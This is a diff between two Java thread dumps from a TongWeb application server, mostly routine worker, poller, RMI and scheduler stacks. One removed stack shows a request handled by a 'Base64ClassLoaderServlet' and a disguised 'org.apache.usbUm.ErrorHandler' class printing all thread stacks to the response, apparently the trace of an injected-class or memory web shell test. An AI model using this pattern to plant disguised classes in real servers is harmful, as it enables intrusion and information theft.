-"ajp-bio-8009-exec-6" #134 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 +"http-nio-0.0.0.0-9060-exec-4" #81 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -802,29 +796,7 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"RMI TCP Accept-7200" #12 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at java.net.PlainSocketImpl.socketAccept(Native Method) - at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) - at java.net.ServerSocket.implAccept(ServerSocket.java:560) - at java.net.ServerSocket.accept(ServerSocket.java:528) - at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) - at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) - at java.lang.Thread.run(Thread.java:750) - -"Timer-0" #169 [TIMED_WAITING] on java.util.TaskQueue@2229bd0a - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at java.util.TimerThread.mainLoop(Timer.java:552) - at java.util.TimerThread.run(Timer.java:505) - -"get-gc-info-timer" #20 daemon [TIMED_WAITING] on java.util.TaskQueue@5907c796 - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at java.util.TimerThread.mainLoop(Timer.java:552) - at java.util.TimerThread.run(Timer.java:505) - -"http-nio-8443-exec-10" #125 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c +"http-nio-8443-exec-5" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -837,58 +809,20 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"WebSocketClient-AsyncIO-5" #146 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e +"ajp-bio-8009-exec-9" #125 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) - at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) - at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"RMI TCP Connection(1)-127.0.0.1" #16 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at java.net.SocketInputStream.socketRead0(Native Method) - at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) - at java.net.SocketInputStream.read(SocketInputStream.java:171) - at java.net.SocketInputStream.read(SocketInputStream.java:141) - at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) - at java.io.BufferedInputStream.read(BufferedInputStream.java:265) - at java.io.FilterInputStream.read(FilterInputStream.java:83) - at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$21/1648106106.run(Unknown Source) - at java.security.AccessController.doPrivileged(Native Method) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at java.lang.Thread.run(Thread.java:750) - -"DefaultQuartzScheduler_QuartzSchedulerThread" #167 [TIMED_WAITING] on java.lang.Object@2bf2f37e - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at com.tongweb.quartz.core.QuartzSchedulerThread.run(QuartzSchedulerThread.java:302) - -"DefaultQuartzScheduler_Worker-10" #166 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@57d95671 - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) - -"http-nio-8443-ClientPoller-1" #127 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) - at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) - at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) - at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) - at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-8443-exec-9" #124 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c +"ajp-bio-8009-exec-6" #122 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -901,33 +835,27 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"RetryTimer" #49 daemon [WAITING] on java.util.TaskQueue@2d9cc13b - java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.Object.wait(Object.java:502) - at java.util.TimerThread.mainLoop(Timer.java:526) - at java.util.TimerThread.run(Timer.java:505) - -"NioBlockingSelector.BlockPoller-3" #23 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) - at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) - at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) - at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) - at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328) - -"http-nio-0.0.0.0-8080-ClientPoller-0" #113 daemon [RUNNABLE] +"nio-accept-5100-1-1" #58 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218) + at com.tongweb.netty.channel.nio.NioEventLoop.select(NioEventLoop.java:622) + at com.tongweb.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:310) + at com.tongweb.netty.util.concurrent.SingleThreadEventExecutor$2.run(SingleThreadEventExecutor.java:116) + at com.tongweb.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.java:137) at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-8080-exec-9" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227 +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@3e033394 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"ajp-bio-8009-exec-10" #126 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -940,7 +868,7 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-9060-exec-4" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 +"http-nio-0.0.0.0-8080-exec-1" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@faf9f2c java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -953,17 +881,26 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-9060-ClientPoller-1" #101 daemon [RUNNABLE] +"RMI TCP Connection(2)-172.17.0.4" #19 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE - at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) - at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) - at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) - at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) - at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218) + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$21/703451848.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"com.tongweb.tongejb.pool.scheduler.2" #62 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@42b2e86f +"Stateful cache" #54 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59c44342 java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) @@ -975,18 +912,19 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"Thread-57" #178 [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at com.tongweb.monitor.persistence.util.IoPool$FileWriterThread.run(IoPool.java:70) +"RetryTimer" #43 daemon [WAITING] on java.util.TaskQueue@d8386b6 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) -"persistence" #174 daemon [TIMED_WAITING] on java.util.TaskQueue@256ebcd8 +"DefaultQuartzScheduler_Worker-5" #146 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@f43975 java.lang.Thread.State: TIMED_WAITING at java.lang.Object.wait(Native Method) - at java.util.TimerThread.mainLoop(Timer.java:552) - at java.util.TimerThread.run(Timer.java:505) + at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) -"http-nio-0.0.0.0-8080-exec-7" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227 +"http-nio-0.0.0.0-9060-exec-7" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -999,23 +937,17 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"main" #1 [RUNNABLE] +"RMI TCP Accept-0" #13 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at java.net.PlainSocketImpl.socketAccept(Native Method) at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) at java.net.ServerSocket.implAccept(ServerSocket.java:560) at java.net.ServerSocket.accept(ServerSocket.java:528) - at com.tongweb.web.thor.core.ThorStandardServer.await(ThorStandardServer.java:176) - at com.tongweb.web.thor.startup.Catalina.await(Catalina.java:767) - at com.tongweb.web.thor.startup.Tomee.start(Tomee.java:794) - at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) - at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) - at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) - at java.lang.reflect.Method.invoke(Method.java:498) - at com.tongweb.web.thor.startup.ThorBootstrap.start(ThorBootstrap.java:352) - at com.tongweb.web.thor.startup.ThorBootstrap.main(ThorBootstrap.java:495) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) -"WebSocketClient-AsyncIO-10" #151 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e +"WebSocketClient-AsyncIO-1" #130 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f6ba499 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -1027,25 +959,67 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"DefaultQuartzScheduler_Worker-1" #157 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@3fc59308 +"DefaultQuartzScheduler_Worker-9" #150 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@1a870b0b java.lang.Thread.State: TIMED_WAITING at java.lang.Object.wait(Native Method) at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) -"http-nio-0.0.0.0-9060-ClientPoller-0" #100 daemon [RUNNABLE] +"http-nio-8443-exec-4" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"WebSocketClient-AsyncIO-4" #133 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f6ba499 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"RMI Reaper" #14 [WAITING] on java.lang.ref.ReferenceQueue$Lock@2b1d2499 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:750) + +"NioBlockingSelector.BlockPoller-3" #23 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218) - at java.lang.Thread.run(Thread.java:750) + at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328) -"Signal Dispatcher" #4 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE +"ajp-bio-8009-exec-2" #118 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) -"http-nio-8443-exec-5" #120 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c +"http-nio-0.0.0.0-9060-exec-6" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -1058,16 +1032,20 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"NioBlockingSelector.BlockPoller-2" #22 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) - at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) - at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) - at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) - at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328) +"http-nio-0.0.0.0-8080-exec-4" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@faf9f2c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) -"http-nio-8443-exec-1" #116 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c +"http-nio-0.0.0.0-9060-exec-1" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -1080,53 +1058,30 @@ ThreadStacks: at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-8080-exec-3" #105 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at java.lang.Thread.dumpThreads(Native Method) - at java.lang.Thread.getAllStackTraces(Thread.java:1615) - at org.apache.usbUm.ErrorHandler.toString(BasicInfoPrinter.java:26) - at java.lang.String.valueOf(String.java:2994) - at com.tongweb.web.thor.connector.CoyoteWriter.print(CoyoteWriter.java:248) - at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) - at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:305) - at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) - at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:52) - at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243) - at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) - at EmptyFilter.doFilter(EmptyFilter.java:21) - at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243) - at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) - at com.tongweb.web.thor.core.ThorStandardWrapperValve.invoke(ThorStandardWrapperValve.java:202) - at com.tongweb.web.thor.core.StandardContextValve.invoke(StandardContextValve.java:123) - at com.tongweb.twnt.thor.OpenEJBValve.invoke(OpenEJBValve.java:46) - at com.tongweb.web.thor.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472) - at com.tongweb.web.thor.core.ThorStandardHostValve.invoke(ThorStandardHostValve.java:69) - at com.tongweb.web.thor.valves.AccessLogValve.invoke(AccessLogValve.java:929) - at com.tongweb.web.thor.valves.ErrorReportValve.invoke(ErrorReportValve.java:99) - at com.tongweb.web.thor.core.StandardEngineValve.invoke(StandardEngineValve.java:118) - at com.tongweb.web.thor.connector.CoyoteAdapter.service(CoyoteAdapter.java:411) - at com.tongweb.web.oro.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1017) - at com.tongweb.web.oro.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:589) - at com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1767) - at com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor.run(NioEndpoint.java:1744) +"WebSocketClient-AsyncIO-7" #136 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f6ba499 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-9060-exec-9" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 +"JCA-default-thread-pool-worker-7" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) - at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) - at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"JCA-default-thread-pool-worker-5" #54 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 +"JCA-default-thread-pool-worker-6" #49 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -1137,37 +1092,36 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"http-nio-0.0.0.0-9060-exec-10" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 +"JCA-default-thread-pool-worker-1" #44 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at 